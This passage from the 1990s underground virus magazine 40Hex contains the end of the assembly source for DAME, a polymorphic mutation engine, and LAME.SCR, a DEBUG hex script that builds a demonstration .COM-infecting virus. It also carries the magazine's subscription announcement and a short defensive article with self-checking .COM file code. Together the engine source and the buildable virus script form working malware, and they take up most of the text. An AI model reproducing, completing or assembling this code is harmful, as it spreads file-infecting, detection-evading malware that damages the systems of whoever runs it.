_ror:
or al,8
_rol:
mov ah,0d1
jmp short go_mod_xxx_rm1
_mov_reg_xxxx:
call one_in_two ; 1/2 chance of a four byte MOV
js _mov_reg_xxxx1
add al,0B8
stosb
xchg ax,dx
stosw
ret
_mov_reg_xxxx1: ; Do the four byte register MOV
mov ah,0c7
jmp mod_xxx_rm_stosw
mov_ah_xx:
_mov_ah_xx:
add al,04
mov_al_xx:
_mov_al_xx:
add al,0B0
mov ah,dl
stosw
ret
mov_reg_reg: ; ax, dx preserved
mov si,offset mov_reg_reg_table
jmp short go_handle_jmp_table1
_mov_reg_reg_push_pop:
push ax
xchg dx,ax
call _push ; PUSH REG2
pop ax
jmp _pop ; POP REG1
_mov_reg_reg:
mov ah,08Bh
jmp short _mod_reg_rm_direction
mov_xchg_reg_reg:
call one_in_two
js mov_reg_reg
xchg_reg_reg: ; ax, dx preserved
mov si,offset xchg_reg_reg_table
go_handle_jmp_table2:
jmp short go_handle_jmp_table1
_xchg_reg_reg_push_pop:
push dx ax dx
call _push ; PUSH REG1
pop ax
call _push ; PUSH REG2
pop ax
call _pop ; POP REG1
pop ax
jmp _pop ; POP REG2
_xchg_reg_reg_3rd_reg:
call free_regs
jne _xchg_reg_reg
push dx ax
call get_another ; Get free register (reg3)
call mov_xchg_reg_reg ; MOV/XCHG REG3,REG2
pop dx
call xchg_reg_reg ; XCHG REG3,REG1
pop dx
xchg ax,dx
call mov_xchg_reg_reg ; MOV/XCHG REG2,REG3
jmp clear_reg_dx
_xchg_reg_reg:
or al,al
js __xchg_reg_reg
cmp al,dl
jg _xchg_reg_reg_skip
xchg al,dl
_xchg_reg_reg_skip:
or dl,dl
jz _xchg_ax_reg
__xchg_reg_reg:
xchg al,dl
mov ah,87
jmp short _mod_reg_rm
_xchg_ax_reg:
add al,90
stosb
ret
xor_reg_xxxx_xor_xor:
call get_rand_bx
push bx
xor dx,bx
call xor_reg_xxxx
pop dx
jmp short xor_reg_xxxx
xor_reg_xxxx:
mov si,offset xor_reg_xxxx_table
jmp short go_handle_jmp_table2
_xor_reg_xxxx:
or al,030
jmp _81h_
xor_reg_reg:
mov si,offset xor_reg_reg_table
go_handle_jmp_table3:
jmp short go_handle_jmp_table2
_xor_reg_reg:
mov ah,33
; The following is the master encoder. It handles most traditional encodings
; with mod/reg/rm or mod/xxx/rm.
_mod_reg_rm_direction:
or al,al ; If al is a memory pointer,
js dodirection ; then we need to swap regs
or dl,dl ; If dl is a memory pointer,
js _mod_reg_rm ; we cannot swap registers
call one_in_two ; Otherwise there is a 50%
js _mod_reg_rm ; chance of swapping registers
dodirection:
xchg al,dl ; Swap the registers and adjust
sub ah,2 ; the opcode to compensate
_mod_reg_rm:
shl al,1 ; Move al to the reg field
shl al,1
shl al,1
or al,dl ; Move dl to the rm field
mod_xxx_rm:
or al,al ; Is al a memory pointer?
js no_no_reg ; If so, skip next line
or al,0c0 ; Mark register in mod field
no_no_reg:
xchg ah,al
test ah,40
jnz exit_mod_reg_rm
test cl,1
jnz continue_mod_xxx_rm
push ax
mov al,2e
stosb
pop ax
continue_mod_xxx_rm:
stosw
mov si,cs:[bp] ; Store the patch location
add si,si ; for the memory in the
mov cs:[si+bp+2],di ; appropriate table for later
inc word ptr cs:[bp] ; adjustment
; cs: overrides needed for bp
mov al,_relocate_amt
cbw
exit_mod_reg_rm:
stosw
ret
add_reg_reg:
mov si,offset add_reg_reg_table
jmp short go_handle_jmp_table3
_add_reg_reg:
mov ah,3
jmp short _mod_reg_rm_direction
sub_reg_reg:
mov si,offset sub_reg_reg_table
go_handle_jmp_table4:
jmp short go_handle_jmp_table3
_sub_reg_reg:
mov ah,2bh
jmp short _mod_reg_rm_direction
_add_reg_xxxx_inc_add:
call inc_reg
dec dx
jmp short add_reg_xxxx
_add_reg_xxxx_dec_add:
call dec_reg
inc dx
jmp short add_reg_xxxx
_add_reg_xxxx_add_add:
call get_rand_bx
push bx
sub dx,bx
call add_reg_xxxx
pop dx
jmp short add_reg_xxxx
add_reg_xxxx1:
neg dx
add_reg_xxxx:
or dx,dx
jnz cont
return1:
ret
cont:
mov si,offset add_reg_xxxx_table
jmp go_handle_jmp_table4
_add_reg_xxxx:
or al,al
jz _add_ax_xxxx
_81h_:
or al,al
js __81h
add al,0c0
__81h:
mov ah,81
mod_xxx_rm_stosw:
call mod_xxx_rm
_encode_dx_:
xchg ax,dx
stosw
ret
_add_ax_xxxx:
mov al,5
_encode_al_dx_:
stosb
jmp short _encode_dx_
sub_reg_xxxx1:
neg dx
sub_reg_xxxx:
_sub_reg_xxxx:
or dx,dx ; SUBtracting anything?
jz return1 ; If not, we are done
or al,al ; SUB AX, XXXX?
jz _sub_ax_xxxx ; If so, we encode in 3 bytes
add al,028 ; Otherwise do the standard
jmp short _81h_ ; mod/reg/rm deal
_sub_ax_xxxx:
mov al,2dh
jmp short _encode_al_dx_
dec_reg:
push ax
add al,8
jmp short _dec_inc_reg
inc_reg:
push ax
_dec_inc_reg:
or al,al
jns _norm_inc
mov ah,0ff
call mod_xxx_rm
pop ax
ret
_norm_inc:
add al,40
stosb
pop ax
ret
_mov_reg_reg_3rd_reg:
mov bx,offset mov_reg_reg
mov si,offset mov_xchg_reg_reg
or al,al ; Is reg1 a pointer register?
js reg_to_reg1 ; If so, we cannot use XCHG
jmp short reg_to_reg
xor_reg_reg_reg_reg:
mov bx,offset _xor_reg_reg
jmp short reg_to_reg1
add_reg_reg_reg_reg:
mov bx,offset _add_reg_reg
jmp short reg_to_reg1
sub_reg_reg_reg_reg:
mov bx,offset _sub_reg_reg
reg_to_reg1:
mov si,bx
reg_to_reg:
call free_regs
jne no_free_regs
push ax si
call get_another ; Get unused register (reg3)
call mov_reg_reg ; MOV REG3,REG2
pop si dx
xchg ax,dx
finish_reg_clear_dx:
push dx
call si
pop ax
jmp clear_reg
_xor_reg_xxxx_reg_reg:
mov bx,offset xor_reg_xxxx
mov si,offset xor_reg_reg
xxxx_to_reg:
call free_regs
jne no_free_regs
push ax si
call get_another ; Get unused register (reg3)
call mov_reg_xxxx ; MOV REG3,XXXX
xchg ax,dx
pop si ax
jmp short finish_reg_clear_dx
no_free_regs:
jmp bx
_add_reg_xxxx_reg_reg:
mov bx,offset add_reg_xxxx
mov si,offset add_reg_reg
jmp short xxxx_to_reg
_mov_reg_xxxx_reg_reg:
mov bx,offset mov_reg_xxxx
mov si,offset mov_xchg_reg_reg
jmp short xxxx_to_reg
; The following are a collection of tables used by the various encoding
; routines to determine which routine will be used. The first line in each
; table holds the mask for the encoding procedure. The second line holds the
; default routine which is used when nesting is disabled. The number of
; entries in each table must be a power of two. To adjust the probability of
; the occurence of any particular routine, simply vary the number of times it
; appears in the table relative to the other routines.
; The following table governs garbling.
garbletable:
db garbletableend - $ - 3
dw offset return
dw offset return
dw offset return
dw offset return
dw offset return
dw offset garble_tworeg
dw offset garble_tworeg
dw offset garble_tworeg
dw offset garble_onereg
dw offset garble_onereg
dw offset garble_onereg
dw offset garble_onebyte
dw offset garble_onebyte
dw offset garble_onebyte
dw offset garble_jmpcond
dw offset clear_PIQ
garbletableend:
; This table is used by the one byte garbler. It is intuitively obvious.
onebytetable:
clc
cmc
stc
cld
std
sti
int 3
lock
; This table is used by the one register garbler. When each of the functions
; in the table is called, ax holds a random, unused register, and dx holds a
; random number.
oneregtable:
db oneregtableend - $ - 3
dw offset xor_reg_xxxx
dw offset mov_reg_xxxx
dw offset sub_reg_xxxx
dw offset add_reg_xxxx
dw offset dec_reg
dw offset inc_reg
dw offset _ror
dw offset _rol
oneregtableend:
; This table is used to determine the decryption method
oneregtable1: ; dx = random #
db oneregtable1end - $ - 3
dw offset xor_reg_xxxx
dw offset sub_reg_xxxx
dw offset add_reg_xxxx
dw offset add_reg_xxxx
dw offset dec_reg
dw offset inc_reg
dw offset _ror
dw offset _rol
oneregtable1end:
; This table is used to determine the encryption method
oneregtable2: ; dx = random #
db oneregtable2end - $ - 3
dw offset xor_reg_xxxx
dw offset add_reg_xxxx
dw offset sub_reg_xxxx
dw offset sub_reg_xxxx
dw offset inc_reg
dw offset dec_reg
dw offset _rol
dw offset _ror
oneregtable2end:
tworegtable: ; dl = any register
db tworegtableend - $ - 3
dw offset xor_reg_reg
dw offset mov_reg_reg
dw offset sub_reg_reg
dw offset add_reg_reg
tworegtableend:
tworegtable1: ; dl = any register
db tworegtable1end - $ - 3
dw offset xor_reg_reg
dw offset xor_reg_reg
dw offset sub_reg_reg
dw offset add_reg_reg
tworegtable1end:
tworegtable2: ; dl = any register
db tworegtable2end - $ - 3
dw offset xor_reg_reg
dw offset xor_reg_reg
dw offset add_reg_reg
dw offset sub_reg_reg
tworegtable2end:
mov_reg_xxxx_table:
db mov_reg_xxxx_table_end - $ - 3
dw offset _mov_reg_xxxx
dw offset _mov_reg_xxxx_reg_reg
dw offset _mov_reg_xxxx_mov_add
dw offset _mov_reg_xxxx_mov_al_ah
dw offset _mov_reg_xxxx_mov_xor
dw offset _mov_reg_xxxx_xor_add
dw offset _mov_reg_xxxx_mov_rol
dw offset _mov_reg_xxxx_mov_ror
mov_reg_xxxx_table_end:
mov_reg_reg_table:
db mov_reg_reg_table_end - $ - 3
dw offset _mov_reg_reg
dw offset _mov_reg_reg
dw offset _mov_reg_reg_3rd_reg
dw offset _mov_reg_reg_push_pop
mov_reg_reg_table_end:
xchg_reg_reg_table:
db xchg_reg_reg_table_end - $ - 3
dw offset _xchg_reg_reg
dw offset _xchg_reg_reg
dw offset _xchg_reg_reg_push_pop
dw offset _xchg_reg_reg_3rd_reg
xchg_reg_reg_table_end:
xor_reg_xxxx_table:
db xor_reg_xxxx_table_end - $ - 3
dw offset _xor_reg_xxxx
dw offset _xor_reg_xxxx
dw offset _xor_reg_xxxx_reg_reg
dw offset xor_reg_xxxx_xor_xor
xor_reg_xxxx_table_end:
xor_reg_reg_table:
db xor_reg_reg_table_end - $ - 3
dw offset _xor_reg_reg
dw offset xor_reg_reg_reg_reg
xor_reg_reg_table_end:
add_reg_reg_table:
db add_reg_reg_table_end - $ - 3
dw offset _add_reg_reg
dw offset add_reg_reg_reg_reg
add_reg_reg_table_end:
sub_reg_reg_table:
db sub_reg_reg_table_end - $ - 3
dw offset _sub_reg_reg
dw offset sub_reg_reg_reg_reg
sub_reg_reg_table_end:
add_reg_xxxx_table:
db add_reg_xxxx_table_end - $ - 3
dw offset _add_reg_xxxx
dw offset _add_reg_xxxx
dw offset _add_reg_xxxx_reg_reg
dw offset sub_reg_xxxx1
dw offset _add_reg_xxxx_inc_add
dw offset _add_reg_xxxx_dec_add
dw offset _add_reg_xxxx_add_add
dw offset _add_reg_xxxx_add_add
add_reg_xxxx_table_end:
endif
if not vars eq 0 ; if (vars != 0)
; _nest is needed to prevent the infinite recursion which is possible in a
; routine such as the one used by DAME. If this value goes above the
; threshold value (defined as MAXNEST), then no further garbling/obfuscating
; will occur.
_nest db ?
; This is used by the routine mod_reg_rm when encoding memory accessing
; instructions. The value in _relocate_amt is later added to the relocation
; value to determine the final value of the memory adjustment. For example,
; we initially have, as the encryption instruction:
; add [bx+0],ax
; Let's say _relocate_amt is set to 2. Now the instruction reads:
; add [bx+2],ax
; Finally, the relocate procedure alters this to:
; add [bx+202],ax
; or whatever the appropriate value is.
;
; This value is used in double word encryptions.
_relocate_amt db ?
; Various memory locations which we must keep track of for calculations:
_loopstartencrypt dw ?
_loopstartdecrypt dw ?
_encryptpointer dw ?
_decryptpointer dw ?
_decryptpointer2 dw ?
_start_encrypt dw ?
_start_decrypt dw ?
beginclear1:
; _used_regs is the register tracker. Each byte corresponds to a register.
; AX = 0, CX = 1, DX = 2, etc. Each byte may be either set or zero. If it
; is zero, then the register's current value is unimportant to the routine.
; If it is any other value, then the routine should not play with the value
; contained in the register (at least without saving it first).
_used_regs db 8 dup (?) ; 0 = unused
; The following four variables contain the addresses in current memory which
; contain the patch locations for the memory addressing instructions, i.e.
; XOR WORD PTR [bx+3212],3212
; It is used at the end of the master encoding routine.
_encrypt_relocate_num dw ?
_encrypt_relocator dw 8 dup (?)
_decrypt_relocate_num dw ?
_decrypt_relocator dw 10 dup (?)
endclear1:
_encrypt_length dw ? ; The number of bytes to encrypt
; (based upon alignment)
_counter_value dw ? ; Forwards or backwards
_decrypt_value dw ? ; Not necessarily the crypt key
_pointer_value1 dw ? ; Pointer register 1's initial value
_pointer_value2 dw ? ; Pointer register 2's initial value
_counter_reg db ?
_encrypt_reg db ?
_pointer_reg1 db ? ; 4 = not in use
_pointer_reg2 db ?
_pointer_rm db ? ; Holds r/m value for pointer registers
_maxnest db ?
_kludge dw ?
endif
--End DAME.ASM--Begin LAME.SCR-------------------------------------------------
N lame.com
E 0100 E9 37 15 E8 01 08 CD 20 00 00 2A 2E 63 6F 6D 00
E 0110 2E 2E 00 0D 54 68 69 73 20 69 73 20 61 20 6C 61
E 0120 6D 65 20 76 69 72 75 73 20 73 6C 61 70 70 65 64
E 0130 20 74 6F 67 65 74 68 65 72 20 62 79 20 44 41 2F
E 0140 50 53 0D 0A 54 6F 20 64 65 6D 6F 6E 73 74 72 61
E 0150 74 65 20 44 41 4D 45 20 30 2E 39 31 0D 0A 1A 52
E 0160 51 53 B4 2C CD 21 E4 40 8A E0 E4 40 33 C1 33 D0
E 0170 EB 1C 52 51 53 E4 40 05 00 00 BA 00 00 B9 07 00
E 0180 D1 E0 D1 D2 8A D8 32 DE 79 02 FE C0 E2 F2 A3 78
E 0190 01 89 16 7B 01 8A C2 5B 59 5A C3 03 84 87 05 84
E 01A0 86 07 84 85 06 84 84 05 07 83 05 06 82 03 07 81
E 01B0 03 06 80 07 05 83 06 05 82 07 03 81 06 03 80 03
E 01C0 07 0B 0F 13 17 1B 1F 5F 5D 5E 5A 59 5B 58 FC 50
E 01D0 53 51 52 56 55 57 E8 0E 00 5F 51 57 FF D7 5F 59
E 01E0 5D 5E 5A 5B 5B 58 C3 FC 50 B8 1F 0A 97 AB 96 AB
E 01F0 AB 92 AB 93 AB 87 CA 33 C0 B9 1E 00 F3 AB E8 71
E 0200 FF 25 F0 FF 59 33 C8 E8 69 03 83 E3 07 8A 87 BF
E 0210 01 98 03 D0 F7 D0 23 D0 8B C2 AB D1 E8 F6 C5 40
E 0220 74 02 D1 E8 F6 C5 10 75 02 F7 D8 AB 52 E8 42 FF
E 0230 AB 58 F6 C5 20 75 02 F7 D8 33 DB F6 C5 80 74 05
E 0240 E8 30 03 2B C3 AB 93 AB E8 E6 02 BF 6F 0A B0 84
E 0250 F6 C5 08 74 09 E8 1A FF A3 6B 0A E8 DF 02 AA 92
E 0260 B0 84 E8 06 03 78 03 E8 D3 02 AA 3B C2 77 01 92
E 0270 8A E2 3D 05 03 74 D1 3D 07 06 74 CC BE 9B 01 B8
E 0280 03 00 F6 C5 80 74 05 83 C6 0C 04 04 E8 E4 02 23
E 0290 D8 03 F3 03 DB 03 F3 AD 8B D8 83 E3 07 80 BF 29
E 02A0 0A 00 75 D8 8A DC 0A DB 78 07 80 BF 29 0A 00 75
E 02B0 CB AB A4 E8 BC FE 24 0F 3C 0A 77 F7 AA E8 71 02
E 02C0 8B 3E 21 0A E8 07 03 BE 6F 0A 56 E8 A5 02 83 E3
E 02D0 03 8A 00 98 A8 80 75 F3 80 8F 6F 0A 80 8B F0 FE
E 02E0 84 29 0A 03 DB 8B 97 67 0A C6 06 19 0A 00 90 E8
E 02F0 5F 03 E8 D9 02 E8 1F 02 51 80 E1 F8 E8 9B 03 59
E 0300 89 3E 1F 0A 5E BA 04 00 AC A8 80 74 B3 4A 75 F8
E 0310 BE 1F 0A BF 1B 0A A5 A5 C6 06 1A 0A 00 90 E8 8E
E 0320 01 F6 C5 40 74 09 C6 06 1A 0A 02 90 E8 80 01 BB
E 0330 1B 0A 51 80 E1 F8 E8 87 00 59 B8 FC C3 AB BE 33
E 0340 0A 8B 3E 25 0A 51 E8 4E 00 59 BB 1D 0A E8 70 00
E 0350 57 E8 DD 01 5F E8 76 02 F6 C1 08 75 0D F6 C5 20
E 0360 74 03 E8 31 02 E8 66 02 EB 1E 8B D7 2B 16 23 0A
E 0370 03 16 27 0A 42 42 F7 DA 83 E2 0F 80 FA 0E 75 05
E 0380 F6 C5 20 74 03 E8 2F 02 89 3E 21 0A BE 45 0A 2B
E 0390 3E 23 0A 03 3E 27 0A F6 C5 20 74 04 03 3E 65 0A
E 03A0 2B 3E 6B 0A 2B 3E 6D 0A 8B 4C FE E3 08 97 97 AD
E 03B0 97 01 05 E2 F9 8B 3E 21 0A 8B CF 2B 0E 23 0A C3
E 03C0 8B 7F 04 90 53 C6 06 19 0A 00 90 A0 71 0A 25 07
E 03D0 00 BA 02 00 F6 C5 40 74 02 D1 E2 F6 C5 20 74 02
E 03E0 F7 DA F6 C5 80 74 26 D1 FA 50 E8 B2 03 A0 72 0A
E 03F0 25 07 00 E8 A9 03 5B F6 C5 08 75 14 53 92 E8 3C
E 0400 01 E8 AE 02 5A E8 6B 03 E8 47 01 EB 03 E8 8F 03
E 0410 B2 75 A0 6F 0A 25 07 00 3C 04 74 1D 52 BA 01 00
E 0420 F6 C5 10 74 10 3C 01 75 0A E8 3F 01 78 05 5A B2
E 0430 E2 EB 06 F7 DA E8 67 03 5A 5B 8B 07 2B C7 48 48
E 0440 86 E0 8A C2 0A E4 78 05 58 58 E9 7A FD AB 89 7F
E 0450 04 90 C3 80 E5 FB E8 12 01 78 03 80 CD 04 8B 3E
E 0460 21 0A BD 43 0A E8 66 01 33 C0 A0 73 0A E8 7C 00
E 0470 E8 B5 00 56 52 56 52 F6 C5 04 74 0B 92 E8 BD 00
E 0480 E8 2F 02 89 16 75 0A 5A 5E E8 67 01 53 E8 3E 01
E 0490 F6 C5 04 74 0C 92 A1 75 0A 50 E8 15 02 E8 B1 00
E 04A0 58 BD 31 0A E8 70 00 5B 5A 5E E8 7B 00 EB 30 E8
E 04B0 0B 00 E8 BD FC 3D 06 00 72 03 E8 96 FF 8B 3E 21
E 04C0 0A E8 0A 01 A0 70 0A 25 07 00 3C 04 74 49 E8 A2
E 04D0 00 80 FB C0 77 41 E8 13 00 E8 1A 01 E8 38 00 51
E 04E0 80 E1 F8 FF 50 01 59 89 3E 1F 0A C3 C6 06 19 0A
E 04F0 00 90 E8 76 00 78 08 E8 79 00 BE 6D 08 EB 15 E8
E 0500 71 00 83 E3 07 80 FB 04 74 F5 80 BF 29 0A 00 74
E 0510 EE BE A0 08 87 D3 C3 89 3E 21 0A 50 A0 74 0A A2
E 0520 19 0A 58 8B 3E 1F 0A C3 50 AC 98 03 F0 58 46 46
E 0530 C3 33 C0 BF 29 0A AB AB 40 AB 48 AB C3 E8 32 FC
E 0540 25 07 00 8B F0 80 BC 29 0A 00 75 F1 FE 84 29 0A
E 0550 C3 92 8B F0 C6 84 29 0A 00 C3 50 51 57 BF 29 0A
E 0560 B9 08 00 33 C0 F2 AE 5F 59 58 C3 50 E8 03 FC 0B
E 0570 C0 58 C3 93 E8 FB FB 93 C3 92 24 07 BB 65 08 D7
E 0580 AA C3 92 25 0F 00 0C 70 AB 57 E8 4A 00 8B C7 5B
E 0590 2B C3 88 47 FF C3 E8 D9 FB 8A D4 83 E2 0F 25 03
E 05A0 00 74 1B 48 74 11 B0 E9 AA 92 AB 51 91 E3 06 E8
E 05B0 C0 FB AA E2 FA 59 C3 B0 EB AA 92 AA EB ED B0 E8
E 05C0 E8 E5 FF E8 11 00 E8 74 FF E8 86 FF EB 71 C6 06
E 05D0 19 0A 00 90 E8 00 00 E8 80 FF 75 9C F6 C1 02 74
E 05E0 97 50 52 56 E8 8B FB 92 E8 52 FF E8 64 FF BE 44
E 05F0 08 EB 06 E8 E1 FF 50 52 56 50 AC 98 E8 74 FF 23
E 0600 D8 58 F6 C1 04 75 0F FE 06 19 0A 50 A0 74 0A 38
E 0610 06 19 0A 58 72 02 33 DB 53 FF 10 5B 5E 5A 58 C3
E 0620 BE A0 08 83 E2 07 EB CE BE 6D 08 EB C9 0A C0 78
E 0630 09 E8 37 FF 78 04 04 50 AA C3 05 30 FF EB 0F 0A
E 0640 C0 78 09 E8 25 FF 78 04 04 58 AA C3 B4 8F E9 F6
E 0650 00 BE BB 08 EB 9D E8 1A FF 53 2B D3 E8 F2 FF 5A
E 0660 EB 23 3C 04 73 34 50 52 E8 41 00 5A 58 86 F2 EB
E 0670 39 E8 FF FE 53 33 D3 E8 D7 FF 5A E9 9E 00 52 8B
E 0680 D0 E8 A2 00 5A E9 17 01 D1 CA E8 C4 FF EB 07 D1
E 0690 C2 E8 BD FF 0C 08 B4 D1 EB B4 E8 CE FE 78 06 04
E 06A0 B8 AA 92 AB C3 B4 C7 E9 0B 01 04 04 04 B0 8A E2
E 06B0 AB C3 BE CC 08 EB 9D 50 92 E8 71 FF 58 EB 80 B4
E 06C0 8B EB 6A E8 A5 FE 78 EA BE D5 08 EB 87 52 50 52
E 06D0 E8 5A FF 58 E8 56 FF 58 E8 64 FF 58 E9 60 FF E8
E 06E0 78 FE 75 14 52 50 E8 54 FE E8 D7 FF 5A E8 D8 FF
E 06F0 5A 92 E8 CE FF E9 59 FE 0A C0 78 0A 3A C2 7F 02
E 0700 86 C2 0A D2 74 06 86 C2 B4 87 EB 33 04 90 AA C3
E 0710 E8 60 FE 53 33 D3 E8 03 00 5A EB 00 BE DE 08 EB
E 0720 AA 0C 30 E9 87 00 BE E7 08 EB A0 B4 33 0A C0 78
E 0730 09 0A D2 78 0A E8 33 FE 78 05 86 C2 80 EC 02 D0
E 0740 E0 D0 E0 D0 E0 0A C2 0A C0 78 02 0C C0 86 E0 F6
E 0750 C4 40 75 1D F6 C1 01 75 05 50 B0 2E AA 58 AB 2E
E 0760 8B 76 00 03 F6 2E 89 7A 02 2E FF 46 00 A0 1A 0A
E 0770 98 AB C3 BE EC 08 EB B1 B4 03 EB B1 BE F1 08 EB
E 0780 A8 B4 2B EB A8 E8 4F 00 4A EB 14 E8 44 00 42 EB
E 0790 0E E8 DF FD 53 2B D3 E8 05 00 5A EB 02 F7 DA 0B
E 07A0 D2 75 01 C3 BE F6 08 EB D6 0A C0 74 0E 0A C0 78
E 07B0 02 04 C0 B4 81 E8 8F FF 92 AB C3 B0 05 AA EB F8
E 07C0 F7 DA 0B D2 74 DD 0A C0 74 04 04 28 EB DF B0 2D
E 07D0 EB EB 50 04 08 EB 01 50 0A C0 79 07 B4 FF E8 66
E 07E0 FF 58 C3 04 40 AA 58 C3 BB B2 06 BE C3 06 0A C0
E 07F0 78 0F EB 0F BB 2B 07 EB 08 BB 78 07 EB 03 BB 81
E 0800 07 8B F3 E8 54 FD 75 2A 50 56 E8 30 FD E8 A2 FE
E 0810 5E 5A 92 52 FF D6 58 E9 38 FD BB 1C 07 BE 26 07
E 0820 E8 37 FD 75 0D 50 56 E8 13 FD E8 24 FE 92 5E 58
E 0830 EB E1 FF E3 BB 9F 07 BE 73 07 EB E4 BB 51 06 BE
E 0840 C3 06 EB DC 1E 78 05 78 05 78 05 78 05 78 05 20
E 0850 06 20 06 20 06 28 06 28 06 28 06 79 05 79 05 79
E 0860 05 82 05 96 05 F8 F5 F9 FC FD FB CC F0 0E 1C 07
E 0870 51 06 C2 07 9F 07 D2 07 D7 07 94 06 96 06 0E 1C
E 0880 07 C2 07 9F 07 9F 07 D2 07 D7 07 94 06 96 06 0E
E 0890 1C 07 9F 07 C2 07 C2 07 D7 07 D2 07 96 06 94 06
E 08A0 06 26 07 B2 06 7C 07 73 07 06 26 07 26 07 7C 07
E 08B0 73 07 06 26 07 26 07 73 07 7C 07 0E 9A 06 3C 08
E 08C0 56 06 62 06 71 06 7E 06 88 06 8F 06 06 BF 06 BF
E 08D0 06 E8 07 B7 06 06 F8 06 F8 06 CD 06 DF 06 06 21
E 08E0 07 21 07 1A 08 10 07 02 2B 07 F4 07 02 78 07 F9
E 08F0 07 02 81 07 FE 07 0E A9 07 A9 07 34 08 C0 07 85
E 0900 07 8B 07 91 07 91 07 5E 8B C6 B1 04 D3 E8 2D 10
E 0910 00 03 C3 BB 19 09 50 53 CB BF 00 01 06 57 06 06
E 0920 A5 A5 0E 0E 07 1F B4 1A BA B8 0A CD 21 B4 47 99
E 0930 BE 78 0A C6 44 FF 5C CD 21 C6 06 18 0A 04 90 E8
E 0940 1D F8 B4 4E BA 0A 01 CD 21 73 1A B4 3B BA 10 01
E 0950 CD 21 73 EE B4 3B BA 77 0A CD 21 07 1F BA 80 00
E 0960 B4 1A CD 21 CB B8 00 3D BA D6 0A CD 21 72 26 93
E 0970 B4 3F B9 04 00 BA 06 01 CD 21 B4 3E CD 21 81 3E
E 0980 06 01 FC E9 74 0F 02 C4 3C A7 74 09 E8 0A 00 FE
E 0990 0E 18 0A 74 BF B4 4F EB AE B8 00 3D BA D6 0A CD
E 09A0 21 50 93 B8 20 12 CD 2F B8 16 12 26 8A 1D B7 00
E 09B0 CD 2F 5B 26 C7 45 02 02 00 26 8B 45 11 8B E8 B9
E 09C0 04 00 2B C1 A3 16 0A B4 40 BA 14 0A CD 21 26 89
E 09D0 6D 15 06 57 0E 07 BE 00 01 BF 04 0D B9 8B 04 F3
E 09E0 A5 B8 0B 00 BA 04 0D B9 16 09 BE 64 0B BF E4 0A
E 09F0 52 53 56 8B DD FE C7 E8 D4 F7 B4 40 5A 5B CD 21
E 0A00 B4 40 B9 16 09 5A CD 21 5F 07 26 80 4D 06 40 B4
E 0A10 3E CD 21 C3 FC E9
E 163A C6 06 00 01 FC C7
E 1640 06 01 01 8C DB 33 FF 0E 57 0E 0E E9 D4 F2
R CX
154E
W
Q
--End LAME.SCR-----------------------------------------------------------------
DA
40Hex Number 12 Volume 3 Issue 3 File 002
Extracted From CuD [5.66]
-------------------------
Subject: File 3--40Hex is now a print magazine
From: fortyhex (geoff heap)
Date: Mon, 16 Aug 93 17:19:02 EDT
40Hex, the world's most popular underground virus magazine is now
available in two versions -- the familiar online magazine and a new
printed magazine.
In the past two and a half years, 40Hex has become the most popular
virus magazine in the underground. The new printed magazine (dubbed
40Hex Hardcopy) is intended for anyone who wishes to learn as much as
they can about computer viruses -- from the source, the virus writers.
Each issue will contain --
o A complete virus disassembly, fully commented in the 40Hex
tradition,
o Detailed programming articles, intended for those fluent in
assembly,
o Introductory articles intended to help those on all levels of
ability, and
o Interviews with virus writers and virus researchers.
Also included is an editorial column, which will provide a forum
for discussions about any virus related issue. Submissions from both
sides of the argument are welcome, and will be given an equal voice.
Subscriptions --
The price for 40Hex Hardcopy is $35 per year for individuals, $50
per year for corporations. The magazine is bimonthly (six issues per
year).
The online magazine is available free of charge from many privately
operated BBSs. You may receive a disk with the latest issue from us for
$5. Please send a note specifying whether you would like a 5 1/4 or a 3
1/2 inch disk.
Correspondence --
Subscription requests should be addressed to
Subscriptions
40Hex Magazine
PO Box 252
New City, NY, 10956
Article submissions should be addressed to
Articles
40Hex Magazine
PO Box 252
New City, NY, 10956
Letters to the editors should be addressed to
The Editors
40Hex Magazine
PO Box 252
New City, NY, 10956
if you have access to internet E-Mail, you can send a note to
fortyhex@mindvox.phantom.com
note: manuscripts will not be returned to the sender unless they are
accompanied by postage. All submissions must be marked "manuscript
submitted for publication."
The online magazine will still be published, and will remain
separate from the new hardcopy magazine with no article overlap.
+++
Leni Niles
Co-Editor, 40Hex Hardcopy
---------------------------------------------------------------------
40Hex Number 12 Volume 3 Issue 3 File 003
Self Checking Executable Files
Demogorgon Phalcon/Skism
In this article I will explain a method that will allow .COM files
to be immune to simple viruses. In order to infect a .COM file, a virus
must change several bytes at the beginning of the code. Before the
virus returns control to the original program, it will 'disinfect' it
into memory, so that the program runs as it did before infection. This
disinfection process is crucial, because it means that the image on the
disk will not be the same as the memory image of the program. This
article describes a method by which a .COM file can perform a self-check
by reading its disk image and comparing it to its memory image.
The full pathname of the program that is being executed by DOS is
located in the environment block. The segment of the environment block
can be read from the PSP. It is located at offset [2Ch].
The name of the program is the last entry in the environment block,
and can be located by searching for two zeros. The next byte after the
two zeros contains the length of the string that follows it. After the
length is an ASCIIZ string containing the pathname of the current
process. The following code opens the file being executed:
nish: mov es, word ptr ds:[2Ch] ; segment of environment
xor ax, ax
mov di, 1
loop_0: dec di
scasw
jne loop_0
mov dx, di
add dx, 2 ; start of pathname
push es
pop ds
mov ax, 3D02h ; open, read/write access
int 21h
Next, we must read in the file (using dos services function 3Fh,
read file or device). We can read the file into the heap space after
the program, as long as we are sure we will not overwrite the stack. The
sample program in this file reads itself in entirely, but remember, it
is not necessary to do so. It is only necessary to read and compare the
first few bytes. Also, the program could read itself in blocks instead
of all at once.
If a file finds itself to be infected, it should report this to the
user. Remember, even though the file knows it is infected, the virus
has already executed. Memory resident viruses will already have loaded
themselves into memory, and direct action viruses will already have
infected other files on the drive. Thus, any virus that employs
disinfection on the fly will be able to avoid detection and removal.
Here is the full source to the self checking program:
;();();();();();();();();();();();();();();();();();();();();()
.model tiny
.code
org 100h
start: mov es, word ptr ds:[2Ch] ; dos environment block
xor ax, ax
mov di, 1
loop_0: dec di
scasw
jne loop_0
mov dx, di
add dx, 2 ; <- point to current
push es ; process name
pop ds
mov ah, 3Dh ; open file with handle
int 21h
jc bad ; error opening file ?
mov bx, ax
push cs
push cs
pop es
pop ds ; I am a com file.
mov cx, heap - start ; length
lea dx, heap ; where to read file into
mov ah, 3Fh ; read file or device
int 21h
jc bad ; error reading file ?
; here, do a byte for byte compare
lea si, start
lea di, heap
repe cmpsb ; compare 'em
jne bad
lea dx, clean
mov ah, 9
int 21h
jmp quit_
bad: mov ah, 9
lea dx, infected
int 21h
quit_: mov ax, 4C00h
int 21h
clean db 'Self check passed.$'
infected db 'Self check failed. Program is probably infected.$'
heap:
end start
;();();();();();();();();();();();();();();();();();();();();()
